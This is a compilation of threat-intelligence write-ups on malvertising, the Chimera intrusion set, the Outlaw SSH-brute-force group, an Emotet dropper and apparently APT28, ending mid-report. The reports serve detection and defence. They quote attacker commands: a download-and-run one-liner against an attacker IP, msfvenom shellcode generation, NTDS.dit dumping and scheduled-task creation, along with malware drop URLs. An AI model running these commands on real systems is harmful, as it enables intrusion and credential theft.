network-7.7 d44908e9849b1841272618bd51a40182 network-7.8 b5a9c7bd8fdb2b6e5c4431a90b83010f pamdicks.org f3b14bcb2037a7a1baf44782f1f1811b pam_unix.so e0ddd18f9d61be95955e2723c72b913d rm ad29ac2ab08d9087f3b5654187b0602d scp 586e14bdeaa163831f24c60c970b595b ss 4183a06943cf29c89b46e724af5fb101 ssh a40ca6f5fe465d766f90c558e277aa42 wtmp cb1db36f2aca451200533d87007c6943 clear.sh 8ddf91f48da357632920f51a6cecd878 install-net.sh 9a8797fb49aa1765c4a2049980fb42bf install.sh bb9d49ade493c7c0538afdb25e0a61da install-ssh.sh d94c0adf178a0c540b287d2b7aad1787 last.sh 08b38e9f77255bb2d4d5f6c21c580372 rctl.sh 9d92a79392e2aa20d85fe53cb9b16da7 readme.txt ``` ## Beyond The Blog As previously said, this is not a complete analysis. I’ve listed the hashes of these samples in the event anyone wants to take a deeper look. I really enjoy the threat intel & malware analysis piece of the InfoSec industry. If you have an open position that you’re looking to fill - my DMs are open! While this particular data collection approach is a bit rudimentary, I’m hoping this shows other home labbers how little you do need to get started and on your way to uncovering some interesting things on the internet. Thank you all for reading! Special thanks to the_anthok and 0x80O0oOverfl0w for helping along the way!
# HookAds Malvertising Installing Malware via the Fallout Exploit Kit The HookAds malvertising campaign has been active lately and redirecting visitors to the Fallout Exploit Kit. Once the kit is activated, it will attempt to exploit known vulnerabilities in Windows to install different malware such as the DanaBot banking Trojan, the Nocturnal information stealer, and GlobeImposter ransomware. HookAds is a malvertising campaign that purchases cheap ad space on low-quality ad networks commonly used by adult websites, online games, or blackhat SEO sites. These ads will include JavaScript that redirects a visitor through a series of decoy sites that look like pages filled with native advertisements, online games, or other low-quality pages. Under the right circumstances, a visitor will silently load the Fallout exploit kit, which will try and install its malware payload. According to nao_sec, these two campaigns were discovered last week with one campaign being on November 8th that was distributing the DanaBot password stealing Trojan and another campaign on November 10th that was installing the Nocturnal stealer and the GlobeImposter ransomware. If the redirected user is running Internet Explorer, the Fallout Exploit Kit will attempt to exploit the Windows CVE-2018-8174 VBScript vulnerability to install the payload. Therefore, it is very important that users make sure to have all available Windows security updates installed in order to protect themselves from known vulnerabilities.
# Abusing Cloud Services to Fly Under the Radar ## tl;dr NCC Group and Fox-IT have been tracking a threat group with a wide set of interests, from intellectual property (IP) from victims in the semiconductors industry to passenger data from the airline industry. In their intrusions, they regularly abuse cloud services from Google and Microsoft to achieve their goals. NCC Group and Fox-IT observed this threat actor during various incident response engagements performed between October 2019 and April 2020. Our threat intelligence analysts noticed clear overlap between the various cases in infrastructure and capabilities, leading us to assess with moderate confidence that one group was carrying out the intrusions across multiple victims operating in Chinese interests. In open source, this actor is referred to as Chimera by CyCraft. NCC Group and Fox-IT have seen this actor remain undetected, with their dwell time lasting up to three years. If you were a victim, they might still be active in your network looking for your most recent crown jewels. We contained and eradicated the threat from our client’s networks during incident response while our Managed Detection and Response (MDR) clients automatically received detection logic. With this publication, NCC Group and Fox-IT aim to provide the wider community with information and intelligence that can be used to hunt for this threat in historic data and improve detections for intrusions by this intrusion set. Throughout, we use terminology to describe the various phases, tactics, and techniques of the intrusions standardized by MITRE with their ATT&CK framework. Near the end of this article, all the tactics and techniques used by the adversary are listed. ## From Initial Access to Defense Evasion: How It Is Done In all the intrusions we have observed, they are performed in similar ways by the adversary: from initial access to actions on objectives. The objective in these cases appears to be stealing sensitive data from the victim’s networks. ### Credential Theft and Password Spraying to Cobalt Strike This adversary starts by obtaining usernames and passwords of their victim from previous breaches. These credentials are used in a credential stuffing or password spraying attack against the victim’s remote services, such as webmail or other internet-reachable mail services. After obtaining a valid account, they use this account to access the victim’s VPN, Citrix, or another remote service that allows access to the victim's network. Information regarding these remote services is taken from the mailbox, cloud drive, or other cloud resources accessible by the compromised account. Once they have a foothold on a system (also known as patient zero), they check the permissions of the account on that system and attempt to obtain a list of accounts with administrator privileges. With this list of administrator accounts, the adversary performs another password spraying attack until a valid admin account is compromised. With this valid admin account, a Cobalt Strike beacon is loaded into the memory of patient zero. From here on, the adversary stops using the victim’s remote service to access the victim’s network and starts using the Cobalt Strike beacon for remote access and command and control. ### Network Discovery and Lateral Movement The adversary continues their discovery of the victim’s network from patient zero. Various scans and queries are used to find proxy settings, domain controllers, remote desktop services, Citrix services, and network shares. If the obtained valid account is already a member of the domain admins group, the first lateral move in the network is usually to a domain controller where the adversary also deploys a Cobalt Strike beacon. Otherwise, a jump host or other system likely used by domain admins is found and equipped with a Cobalt Strike beacon. After this, the adversary dumps the domain admin credentials from the memory of this machine, continues lateral movement through the network, and places Cobalt Strike beacons on servers for increased persistent access into the victim’s network. If the victim’s network contains other Windows domains or different network security zones, the adversary scans and finds the trust relationships and jump hosts, attempting to move into the other domains and security zones. The adversary is typically able to perform all the steps described above within one day. During this process, the adversary identifies data of interest from the victim's network. This can include file and directory listings, configuration files, manuals, email stores in the guise of OST and PST files, file shares with intellectual property (IP), and personally identifiable information (PII) scraped from memory. If the data is small enough, it is exfiltrated through the command and control channel of the Cobalt Strike beacons. However, usually, the data is compressed with WinRAR, staged on another system of the victim, and from there copied to a OneDrive account controlled by the adversary. After the adversary completes their initial exfiltration, they return every few weeks to check for new data of interest and user accounts. At times, they have been observed attempting to perform a degree of anti-forensic activities, including clearing event logs, time stomping files, and removing scheduled tasks created for some objectives. However, this isn’t done consistently across their engagements. ## Framing the Adversary’s Work in the MITRE ATT&CK Framework ### Credential Access (TA0006) The earliest and longest-lasting intrusion by this threat we observed was at a company in the semiconductors industry in Europe and started in early Q4 2017. The more recent intrusions took place in 2019 at companies in the aviation industry. The techniques used to achieve access at the companies in the aviation industry closely resemble techniques used at victims in the semiconductors industry. The threat used valid accounts against remote services: cloud-based applications utilizing federated authentication protocols. Our incident responders analyzed the credentials used by the adversary and the traces of the intrusion in log files. They uncovered an obvious overlap in the credentials used by this threat and the presence of those same accounts in previously breached databases. The traces in log files showed more than usual login attempts with a username formatted as an email address, e.g., <username>@<email domain>. While usernames for legitimate logins at the victim’s network were generally formatted like <domain>\<username>. Attempted logins came from a relatively small set of IP addresses. ### Initial Access (TA0001) In some of the intrusions, the adversary used the valid account to directly log in to a Citrix environment and continued their work from there. In one specific case, the adversary, now armed with the valid account, was able to access a document stored in SharePoint Online, part of Microsoft Office 365. This specific document described how to access the internet-facing company portal and the web-based VPN client into the company network. Within an hour after grabbing this document, the adversary accessed the company portal with the valid account. From this portal, it was possible to launch the web-based VPN. The VPN was protected by two-factor authentication (2FA) by sending an SMS with a one-time password (OTP) to the user account’s primary or alternate phone number. The adversary used this opportunity to configure an alternate phone number controlled by them. By performing two-factor authentication interception by receiving the OTP on their own telephone number, they gained access to the company network via the VPN. However, they also made a mistake during this process within one incident. Our hypothesis is that they tested the 2FA system first or selected the primary phone number to send an SMS to. The European owner of the account received a text message with Simplified Chinese characters on the primary phone number in the middle of the night Eastern European Time (EET). NCC Group and Fox-IT identified that the language in the text message for 2FA is based on the web browser’s language settings used during the authentication flow. Thus, the 2FA code was sent with supporting Chinese text. ### Account Discovery (T1087) With access into the network of the victim, the adversary finds a way to install a Cobalt Strike beacon on a system of the victim. Before doing so, we observed the adversary checking the current permissions of the obtained user account with the following commands: - `net user` - `net user Administrator` - `net user <username> /domain` - `net localgroup administrators` If the user account doesn’t have local administrative or domain administrative permissions, the adversary attempts to discover which local or domain admin accounts exist and exfiltrates the admin’s usernames. To identify if privileged users are active on remote servers, the adversary makes use of PsLogList from Microsoft Sysinternals to retrieve the Security event logs. The built-in Windows `quser` command to show logged-on users is also heavily used by them. If such a privileged user was recently active on a server, the adversary executes Cobalt Strike’s built-in Mimikatz to dump its password hashes. ### Privilege Escalation (TA0004) The adversary started a password spraying attack against those domain admin accounts and successfully obtained a valid domain admin account this way. In other cases, the adversary moved laterally to another system with a domain admin logged in. We observed the use of Mimikatz on this system and saw the hashes of the logged-in domain admin account going through the command and control channel of the adversary. The adversary used a tool called NtdsAudit to dump the password hashes of domain users. We also observed the following command: ``` msadcs.exe "NTDS.dit" -s "SYSTEM" -p RecordedTV_pdmp.txt --users-csv RecordedTV_users.csv ``` Note: the adversary renamed ntdsaudit.exe to msadcs.exe. We also observed the adversary using the tool ntdsutil to create a copy of the Active Directory database NTDS.dit followed by a repair action with esentutl to fix a possible corrupt NTDS.dit: ``` ntdsutil "ac i ntds" "ifm" "create full C:\Windows\Temp\tmp" q q esentutl /p /o ntds.dit ``` Both ntdsutil and esentutl are by default installed on a domain controller. A tool used by the adversary which wasn’t installed on the servers by default was DSInternals. DSInternals is a PowerShell module that makes use of internal Active Directory features. The files and directories found on various systems of a victim match with DSInternals version 2.16.1. We have found traces that indicate DSInternals was executed and at which time, which match with the rest of the traces of the intrusion. We haven’t recovered traces of how the adversary used DSInternals, but considering the phase of the intrusion the adversary used the tool, it is likely they used it for either account discovery or privilege escalation, or both. ### Execution (TA0002) The adversary installs a hacker's best friend during the intrusion: Cobalt Strike. Cobalt Strike is a framework designed for adversary simulation intended for penetration testers and red teams. It has been widely adopted by malicious threats as well. The Cobalt Strike beacon is installed in memory by using a PowerShell one-liner. At least the following three versions of Cobalt Strike have been in use by the adversary: - Cobalt Strike v3.8, observed Q2 2017 - Cobalt Strike v3.12, observed Q3 2018 - Cobalt Strike v3.14, observed Q2 2019 Fox-IT has been collecting information about Cobalt Strike team servers since January 2015. This research project covers the fingerprinting of Cobalt Strike servers and is described in Fox-IT blog “Identifying Cobalt Strike team servers in the wild.” The collected information allows Fox-IT to correlate Cobalt Strike team servers based on various configuration settings. Because of this, historic information was available during this investigation. Whenever a Cobalt Strike C2 channel was identified, Fox-IT performed lookups into the collection database. If a match was found, the configuration of the Cobalt Strike team server was analyzed. This configuration was then compared against the other Cobalt Strike team servers to check for similarities in domain names, version number, URL, and various other settings. The adversary heavily relies on scheduled tasks for executing a batch file (.bat) to perform their tasks. An example of the creation of such a scheduled task by the adversary: ``` schtasks /create /ru "SYSTEM" /tn "update" /tr "cmd /c c:\windows\temp\update.bat" /sc once /f /st 06:59:00 ``` The batch files appear to be used to load the Cobalt Strike beacon but also to perform discovery commands on the compromised system. ### Persistence (TA0003) The adversary loads the Cobalt Strike beacon in memory, without any persistence mechanisms on the compromised system. Once the system is rebooted, the beacon is gone. The adversary is still able to have persistent access by installing the beacon on systems with high uptimes, such as servers. Besides using the Cobalt Strike beacon, the adversary also searches for VPN and firewall configs, possibly to function as a backup access into the network. We haven’t seen the adversary use those access methods after the first Cobalt Strike beacons were installed, perhaps because it was never necessary. After the first bulk of data is exfiltrated, the persistent access into the victim’s network is periodically used by the adversary to check if new data of interest is available. They also create a copy of the NTDS.dit and SYSTEM registry hive file for new credentials to crack. ### Discovery (TA0007) The adversary applied a wide range of discovery tactics. Below are a few specific tools the adversary used for discovery purposes. You can find a summary of most of the commands used by the adversary to perform discovery at the end of this article. **Account discovery tool: PsLogList** Command used: ``` psloglist.exe -accepteula -x security -s -a <date> ``` This command exports a text file with comma-separated fields. The text files contain the contents of the Security Event log after the specified date. Psloglist is part of the Sysinternals toolkit from Mark Russinovich (Microsoft). The tool was used by the adversary on various systems to write events from the Windows Security Event Log to a text file. A possible intent of the adversary could be to identify if privileged users are active on the systems. If such a privileged user was recently active on a server, the actor executes Cobalt Strike’s built-in Mimikatz to dump its credentials or password hash. **Account discovery tool: NtdsAudit** Command used: ``` msadcs.exe "NTDS.dit" -s "SYSTEM" -p RecordedTV_pdmp.txt --users-csv RecordedTV_users.csv ``` It imports the specified Active Directory database NTDS.dit and registry file SYSTEM and exports the found password hashes into RecordedTV_pdump.txt and user details in RecordedTV_users.csv. The NtdsAudit utility is an auditing tool for Active Directory databases. It allows the user to collect useful statistics related to accounts and passwords. The utility was found on various systems of a victim and matches the NtdsAudit.exe program file version v2.0.5 published on the GitHub project page. **Network service scanning** Command used: ``` get -b <start ip> -e <end ip> -p get -b <start ip> -e <end ip> ``` Get.exe appears to be a custom tool used to scan IP ranges for HTTP service information. NCC Group and Fox-IT decompiled the tool for analysis. This showed the tool was written in the Python scripting language and packed into a Windows executable file. Though Fox-IT didn’t find any direct occurrences of the tool on the internet, the decompiled code showed strong similarities with the source code of a tool named GetHttpsInfo. GetHttpsInfo scans the internal network for HTTP and HTTPS services. The reconnaissance tool getHttpsInfo is able to discover HTTP servers within the range of a network. ### Lateral Movement (TA0008) The adversary used the built-in lateral movement possibilities in Cobalt Strike. Cobalt Strike has various methods for deploying its beacons at newly compromised systems. We have seen the adversary using SMB, named pipes, PsExec, and WinRM. The adversary attempts to move to a domain controller as soon as possible after getting a foothold into the victim’s network. They continue lateral movement and discovery in an attempt to identify the data of interest. This could be a web server to carve PII from memory or a file server to copy IP, as we have both observed. At one customer, the data of interest was stored in a separate security zone. The adversary was able to find a dual-homed system and compromise it. From there, they used it as a jump host into the higher security zone and started collecting the intellectual property stored on a file server in that zone. In one event, we saw the adversary compromise a Linux system through SSH. The user account was possibly compromised on the Linux server by using credential stuffing or password spraying: log files on the Linux system show traces which can be attributed to a credential stuffing or password spraying attack. ### Lateral Tool Transfer (T1570) The adversary is applying living-off-the-land techniques very well by incorporating default Windows tools in its arsenal. But not all tools used by the adversary are so-called lolbins: as mentioned before, they use Cobalt Strike. They also rely on a custom tool for network scanning (get.exe), carving data from memory, compression of data, and exfiltrating data. But first: how did they get the tools on the victim’s systems? The adversary copied those tools over SMB from compromised system to compromised system wherever they needed these tools. A few examples of commands we observed: ``` copy get.exe \\<ip>\c$\windows\temp\ copy msadc* \\<hostname>\c$\Progra~1\Common~1\System\msadc\ copy update.exe \\<ip>\c$\windows\temp\ move ak002.bat \\<ip>\c$\windows\temp\update.bat ``` ### Collection (TA0009) In preparation for the exfiltration of the data needed for their objective, the adversary collected data from various sources within the victim’s network. As described before, the adversary collected data from an information repository, Microsoft SharePoint Online in this case. This document was exfiltrated and used to continue the intrusion via a company portal and VPN. In all cases, we’ve seen the adversary copying results of the discovery phase, like file and directory lists from local systems, network shared drives, and file shares on remote systems. Email collection is also important for this adversary: with every intrusion, we saw the mailbox of some users being copied, from both local and remote systems: ``` wmic /node:<ip> process call create "cmd /c copy c:\Users\<username>\<path>\backup.pst c:\windows\temp\backup.pst" copy "i:\<path>\<username>\My Documents\<filename>.pst" copy \\<hostname>\c$\Users\<username>\AppData\Local\Microsoft\Outlook*.ost ``` Files and folders of interest are collected as well and staged for exfiltration. The goal of targeting some victims appears to be to obtain Passenger Name Records (PNR). How this PNR data is obtained likely differs per victim, but we observed the usage of several custom DLL files used to continuously retrieve PNR data from memory of systems where such data is typically processed, such as flight booking servers. The DLLs used were side-loaded in memory on compromised systems. After placing the DLL in the appropriate directory, the actor would change the date and time stamps on the DLL files to blend in with the other legitimate files in the directory. Adversaries aiming to exfiltrate large amounts of data will often use one or more systems or storage locations for intermittent storage of the collected data. This process is called staging and is one of the activities that NCC Group and Fox-IT have observed in the analyzed C2 traffic. We’ve seen the adversary staging data on a remote system or on the local system. Most of the time, the data is compressed and copied at the same time. Only a handful of times does the adversary copy the data first before compressing and exfiltrating it. The adversary compresses and encrypts the data by using WinRAR from the command line. The filename of the command-line executable for WinRAR is RAR.exe by default. This activity group always uses a renamed version of rar.exe. We have observed the following filenames overlapping all intrusions: - jucheck.exe - RecordedTV.ms - teredo.tmp - update.exe - msadcs1.exe The adversary typically places the executables in the following folders: - C:\Users\Public\Libraries\ - C:\Users\Public\Videos\ - C:\Windows\Temp\ The following four different variants of the use of rar.exe as update.exe we have observed: ``` update a -m5 -hp<password> <target_filename> <source> update a -m5 -r -hp<password> <target_filename> <source> update a -m5 -inul -hp<password> <target_filename> <source> update a -m5 -r -inul -hp<password> <target_filename> <source> ``` The command line parameters have the following effect: - a = add to archive. - m5 = use compression level 5. - r = recurse subfolders. - inul = suppress error messages. - hp<password> = encrypt both file data and headers with password. The used password and file extensions for the staged data differ per intrusion. We’ve seen the use of .css, .rar, .log.txt, and no extension for staged pieces of data. After compromising a host with a Linux operating system, data is also compressed. This time the adversary compresses the data as a gzipped tar-file: tar.gz. Sometimes no file extension is used, or the file extension is .il. Most of the time, the filenames are prepended with adsDL_ or contain the word “list.” The files are staged in the home folder of the compromised user account: /home/<username>/. ### Command and Control (TA0011) The adversary uses Cobalt Strike as a framework to manage their compromised systems. We observed the use of Cobalt Strike’s C2 protocol encapsulated in DNS by the adversary in 2017 and 2018. They switched to C2 encapsulated in HTTPS in Q3 2019. An interesting observation is they made use of a cracked/patched trial version of Cobalt Strike. This is important to note because the functionalities of Cobalt Strike’s trial version are limited. More importantly, the trial version doesn’t support encryption of command and control traffic in cases where the protocol itself isn’t encrypted, such as DNS. In one intrusion we investigated, the victim had years of logging available of outgoing DNS requests. The DNS responses weren’t logged. This means that only the DNS C2 leaving the victim’s network was logged. We developed a Python script that decoded and combined most of the logged C2 communication into a human-readable format. As the adversary used Cobalt Strike with DNS as the command & control protocol, we were able to reconstruct more than two years of adversary activity. With all this activity data, it was possible for us to create some insight into the ‘office’ hours of this adversary. The activity took place six days a week, rarely on Sundays. The activity started on average at 02:36 UTC and ended rarely after 13:00 UTC. We observed some periods where we expected activity of the adversary, but almost none was observed. These periods match with the Chinese Golden Week holiday. The adversary also changed their domains for command & control around the same time they switched C2 protocols. They used a subdomain under a regular parent domain with a .com TLD in 2017 and 2018, but they started using subdomains under the parent domain appspot.com and azureedge.net in 2019. The parent domain appspot.com is owned by Google and is part of Google’s App Engine platform as a service. Azureedge.net is a parent domain owned by Microsoft and is part of Microsoft’s Azure content delivery network. ### Exfiltration (TA0010) The adversary uses the command and control channel to exfiltrate small amounts of data. This usually contains information with account details. For large amounts of data, such as mailboxes and network shares with intellectual property, they use something else. Once the larger chunks of data are compressed, encrypted, and staged, the data is exfiltrated using a custom-built tool. This tool exfiltrates specified files to cloud storage web services. The following cloud storage web services are supported by the malware: - Dropbox - Google Drive - OneDrive The actor specifies the following arguments when running the exfiltration tool: - Name of the web service to be used - Parameters used for the web service, such as a client ID and/or API key - Path of the file to read and exfiltrate to the web service We have observed the exfiltration tool in the following locations: - C:\Windows\Temp\msadcs.exe - C:\Windows\Temp\OneDrive.exe ### Defense Evasion (TA0005) The adversary attempts to clean up some of the traces from their intrusions. While we don’t know what was deleted and we were unable to recover, we did see some of their anti-forensics activity: - Windows event logs clearing - File deletion - Timestomping An overview of the observed commands can be found in the appendix. ## Conclusion At this moment, we believe based on the evidence observed that the various intrusions were performed by the same group. We can only report what we observed: first, they stole intellectual property in the high-tech sector, later they stole passenger name records (PNR) from airlines, both across geographical locations. Both types of stolen data are very useful for nation states. A word of thanks goes out to all the forensic experts, incident responders, and threat intelligence analysts who helped victims identify and eradicate the adversary, and to everyone from NCC Group and Fox-IT (part of NCC Group) for all the contributions to this article.
# Overview of Significant Findings from Compromised FTP The compromised FTP contained various files and tools used by attackers. The first files found were configuration files for some toolsets. From part of one script, we recovered code that generated a randomized target list of 80 million IP addresses, making it difficult to uncover the real target within the decoy systems. The ".d.php" file returned all parameters. Submitting each parameter to the URL `/128.199.255.180/src/.xpf/ips/$param` returned a list of IP addresses for each parameter. All the IP addresses were saved in lists called by the invoking parameter with a specific script. The supposed studio or site has no business relevance, with no domain name linked to its business. It is likely that the whole website is just a covert page used to confuse researchers and disguise operations. This was the only seemingly working version of the toolset in development. It contained various parts of open-source code from other operations, initially intended to build an IRC-operated XMR miner capable of masking itself as another process. The Linux hacking tool “Shark” was found within these files. We also found open-source hacking tools with custom bash scripts and comments written in Romanian. Among the files was a new toolkit called Haiduc (detected by Trend Micro as Hacktool.Linux.SSHBRUTE.A), which translates to "An Outlaw." It is available for download on the website arhivecodex.tk, which also hosts `speed.py`, a script for performance checks related to a Monero mining rig. The hacking tool was tested to scan the C&C servers while monitoring traffic. It brute-forced SSH credentials using a wordlist captured from the hackers, a group we named “Outlaw.” We tested whether this was a trap for script kiddies, but Haiduc performed as intended—brute-forcing SSH credentials with the list of targets and wordlist. According to the content of the "Classes" directory, the tool is ready for cyberattacks against listed companies, either for DDoS attacks or brute-forcing SSH service credentials on the target’s server, with a randomized order of scanned IP addresses to evade detection. We discussed the Haiduc kit toolset in the blog, including how hackers used it. Each class file represents a certain company and contains the first two octets of a subnet. Other scripts from the toolkit generate the remaining two octets of the IP address for scanning. Running Haiduc revealed a list of compromised devices, with more than 185,000 distinct IP addresses. The file `gasite.txt` contains the loot and is the final output of the Haiduc tool, resulting in 65,288 possibly compromised hosts. The file `Hu` keeps names of certain countries/classes, while the file `Ovh` generates a wordlist of 234 usernames. The file `R` is a randomness generator for the scanner wrapper file, making scanning more difficult to identify. The file `x` is a bash wrapper shell for the wrapper script “h.” These "classes" are the first two octets from subnetworks of the aforementioned companies. Among the files found on the compromised FTP server is a list of hosts compromised using the Haiduc tool, a 65,000-long list of IP addresses, usernames, and passwords for SSH access. The list includes smart devices, servers, and network components. ### Compromised Hosts Include: - Firewall of a hotel in South Korea: Detected two backdoors in their root file system. We notified the Korean CERT and have yet to receive a response. - Cowrie-based honeypot devices, marked as OS Linux svr04 3.2.0-4-amd64 and Linux Ubuntu 3.2.0-4-amd64. - A smart car charging system running on Linux Ubuntu 3.2.0-4-amd64. - A VPN gateway, with a password that was already changed. - A network switch. - Database server misused to mine Monero via the coinminer file `xmrig-2.5.3-xenial-amd64.tar` (detected by Trend Micro as Coinminer_MALXMR.SMGH2-ELF64). The Ubuntu privilege exploit was found in the file `Non`, another privilege escalation tool related to the exploit for CVE-2017-16995. The threat actors used a variant of a hacking tool called "Faker" to spoof the properties of the process running after the initial exploitation to mask the malware-related process, specifically to hide the IRC C&C communications. The next exploits found on the system were based on Pokemon and Dirty Cow with a customized variant of shellcode. Dirty Cow is a vulnerability affecting all Linux-based operating systems and even Android, allowing local privilege escalation that can be used with other exploits for remote execution to gain root access. Shellcode was generated with the command `msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -I`. This standard shellcode generated by the Metasploit suite is popular in the cybercriminal underground due to its open-source nature and compatibility with most systems. Common Address Redundancy Protocol (CARP) is a pfsense tool used to build a firewall failover or IPSec base channel between two hosts. According to the file `config.log`, it seems to be used to create an HA cluster from both hacked hosts. ### Indicators - 153.122.156.232: FTP server - 202.79.16.178: Server - 54.37.72.170: C&C server Luci.madweb.ro - 42.63.154.190: New IP found in C&C communication from Host #1 - 149.56.134.241: New IP found in C&C communication from Host #1 - 49.51.172.224: New IP found in C&C communication from Host #1 - 195.154.43.102: Network traffic for suspected C&C IP address ### SSH Usernames - luci - lucian - dragos - mazy - hydra - Poseidon - Codex - C0dex ### Commands Used - `uname -a; wget hxxp://54.37.72.170/n3; curl -O hxxp://54.37.72.170/n3; perl n3; rm -rf n3; rm -rf n3.*` - `uname -a; wget ftp://museum:[email protected]/Mail/n3; rm -rf n3; rm -rf n3.*` Trend Micro Incorporated, a global leader in cybersecurity solutions, helps to make the world safe for exchanging digital information. Our innovative solutions for consumers, businesses, and governments provide layered security for data centers, cloud environments, networks, and endpoints. All our products work together to seamlessly share threat intelligence and provide a connected threat defense with centralized visibility and investigation, enabling better, faster protection. With almost 6,000 employees in over 50 countries and the world’s most advanced global threat intelligence, Trend Micro enables organizations to secure their connected world. For more information, visit www.trendmicro.com.
# Is Emotet gang targeting companies with external SOC? ## Introduction The group behind Emotet malware is getting smarter in the way they deliver such malware. While the infection schema looks alike from years past, the way the group tries to infect victims improves daily. Today I’d like to share a quick analysis resulting from a very interesting email that claimed to deliver a SOC “weekly report” to the victim's email. First, the attacker knew the target organization was protected by a SOC (Security Operation Center), so they sent a well-crafted email claiming to deliver a Microsoft document wrapping the weekly SOC report as a normal activity to induce the victim to open it. **SOC report 10 12 2019.doc** (6125489453c1824da3e28a54708e7c77875e500dd82a59c96c1d1e5ee88dcad7) is the delivered file sent on Oct 11, 2019, 11:06:09 PM from [email protected]. I believe that ambientehomedecor.com is not a malicious domain but mostly a new compromised one. ## Technical Analysis - **Hash:** 6125489453c1824da3e28a54708e7c77875e500dd82a59c96c1d1e5ee88dcad7 - **Threat:** Word document Dropper (Emotet) - **Brief:** First stage of Emotet campaign targeting organizations with Security Operation Centers - **Description:** - **Ssdeep:** 6144:tkPNPASKUzSRnLx3Q4td9pB8LGme764XNNHBly:tkPNPAfUGRt3b3B8LGL6CNJ Following the original email headers from [email protected] to the victim’s email box, it is possible to figure out that the attacker used an SMTP client that left a trace about the original sender IP address, which happens to be: 81.48.36.59. According to IPLocation, that address is related to a town in northern France: Thury-Harcourt, France. The attached document is a well-obfuscated Microsoft Word document that asks to enable macros to view its content. The autoopen function begins a complex obfuscated chain that tries to deter analysts by introducing junk code, junk variable assignments, and fake comments. The function c878cxx90590 is the “Real Code,” meaning it is not part of junk code but actually performs malicious actions. As you might see, being in the middle of hundreds of similar lines of code makes it hard to spot. ### Obfuscated Macro The obfuscated macro creates in-memory objects and runs them without passing through temporary files. The analyzed variable in the following image is c0639047895c6, which, in that specific run, holds the Win32_ProcessStartup created Object for fulfilling persistence on the victim machine. Once the dropper assured persistence and to run during startup, it carves from itself the following PowerShell script. The script runs an encoded string hiding the dropping URLs. The base64 decoded string shows a foreach statement looping through a list of compromised websites hosting the real payload: de6a8b8612b5236a18eea1a6a8f53e117d046cf2ad95e079a6715af68f8d2216 (VT 6/69). It finally saves the dropped file in a user profile location as placed in the variable xc0x57b38b2x7 before running it. ### Final Deobfuscated Dropper According to VT, the final run looks like Emotet, a banking trojan that steals credentials, cookies, and eCoin wallets. Emotet is also able to access saved credentials of major browsers like Chromium, Firefox, Opera, and Vivaldi to exfiltrate cookies and send back victim information to command and control. ## Analysis of dropped and executed file (Emotet) - **Hash:** de6a8b8612b5236a18eea1a6a8f53e117d046cf2ad95e079a6715af68f8d2216 - **Threat:** Emotet. Data Exfiltration - **Brief:** Dropped and Executed by previous stage - **Description:** - **Ssdeep:** 3072:2xUIvfl2nnKJFddS2TZGjRurmOEfRtaG/70Jfm4JuLYwO9/+Tl:2lvfUnKJFddhAjYrmOEpzcflQu1+ The dropped file (VT 12/69), grabbed from the dropping URLs inside the previous PowerShell script, is an executable packed by internal functions that use several techniques to avoid static and dynamic analysis. For example, it deletes the original file once executed, resolves an unusually high number of APIs, and dynamically resolves functions to avoid static analysis. ### Recorded Information The sample starts a local service called khmerdefine and assures its persistence by adding that file in c:\Windows\SysWOW64 and setting up a system service in autorun. AV and plenty of static traffic signatures confirm we are facing a new encrypted version of the Emotet trojan. ## Conclusion The Emotet gang is getting smarter in delivering artifacts. This time they targeted companies with an external Security Operation Center (SOC), pretending to simulate an external SOC operator who sends periodic reports to the company. The delivery content was a Microsoft Word document with heavily obfuscated macros that eventually drop and execute Emotet malware. ### IoC - **Email:** [email protected] - **Hash:** - 6125489453c1824da3e28a54708e7c77875e500dd82a59c96c1d1e5ee88dcad7 (.doc) - de6a8b8612b5236a18eea1a6a8f53e117d046cf2ad95e079a6715af68f8d2216 (.exe) - **Drop URLs:** - http://xsnonline.us/blogs/4x466v/ - http://obbydeemusic.com/aqoeivj4fd/us5htvn/ - http://veeplan.com/wp-content/dW0o3RoJNG/ - http://wwwkmacobd.com/u9r/ - http://aijdjy.com/dup-installer/t0/ - **C2 (Emotet):** - http://186.75.241.230/cone/loadan/splash/merge/ - http://186.75.241.230/results/json/ - http://186.75.241.230/balloon/json/ - http://186.75.241.230/enable/arizona/splash/merge/ - http://186.75.241.230/acquire/ - http://181.143.194.138:443/health/splash/sess/merge/ - http://85.104.59.244:20/enable/rtm/sess/merge/ ### Yara Rules ```yara rule EMOTET_SOC_EXE { meta: date = "2019-10-13" hash1 = "de6a8b8612b5236a18eea1a6a8f53e117d046cf2ad95e079a6715af68f8d2216" strings: $x1 = "c:\\Users\\User\\Desktop\\2003\\Efential\\Release\\EFENTIAL.pdb" fullword ascii $s2 = "EFENTIAL.exe" fullword ascii ... condition: uint16(0) == 0x5a4d and filesize < 800KB and ( pe.imphash() == "ffcd1ab4ae5e052202d6af1ea2767498" or ( 1 of ($x*) or 4 of them ) } ``` ```yara rule EMOTET_SOC_PE { meta: date = "2019-10-13" hash1 = "6125489453c1824da3e28a54708e7c77875e500dd82a59c96c1d1e5ee88dcad7" strings: $x1 = "*\\G{0D452EE1-E08F-101A-852E-02608C4D0BB4}#2.0#0#C:\\windows\\system32\\FM20.DLL#Microsoft Forms 2.0 Object Library" fullword wide ... condition: uint16(0) == 0xcfd0 and filesize < 900KB and 1 of ($x*) and 4 of them } ```
# Malware Analysis Report ## Operation Roman Holiday – Hunting the Russian APT28 group **Date:** 13/07/2018 **CSE CyberSec Enterprise SPA** Via G.B. Martini 6, Rome, Italy 00100, Italia Email: [email protected] Website: www.csecybsec.com ## Introduction Recently, a new series of malware samples were submitted to the major online sandboxes. We noticed one sample submitted to VirusTotal that was attributed by some experts to the Russian APT28 group. The APT28 group (aka Fancy Bear, Pawn Storm, Sednit, Sofacy, and Strontium) has been active since at least 2007 and it has targeted governments, militaries, and security organizations worldwide. The group was involved in the string of attacks that targeted the 2016 Presidential election. With the help of the researcher that goes online with the Twitter handle Drunk Binary (@DrunkBinary), we obtained a collection of samples to compare with the one we were in possession of to discover if we were in the presence of a new variant of the infamous APT28 backdoor tracked as X-Agent. The attack we analyzed is multi-stage; an initial dropper malware written in Delphi programming language (a language used by the APT28 in other campaigns) downloads a second stage payload from the internet and executes it. The payload communicates to the server using HTTPS protocol, making it impossible to eavesdrop on the malicious traffic it generates. We also analyzed another malicious DLL, apparently unrelated to the previous samples, that presents many similarities with other payloads attributed to the Russian APT group. This malware is particularly interesting for us because it contacts a command and control with the name “marina-info.net,” a clear reference to the Italian Military corp, Marina Militare. This leads us to speculate that the malicious code was developed as part of targeted attacks against the Italian Marina Militare or some other entities associated with it. This last DLL seems to be completely unconnected with the previous samples, but further investigation leads us to believe that it was an additional component used by APT28 in 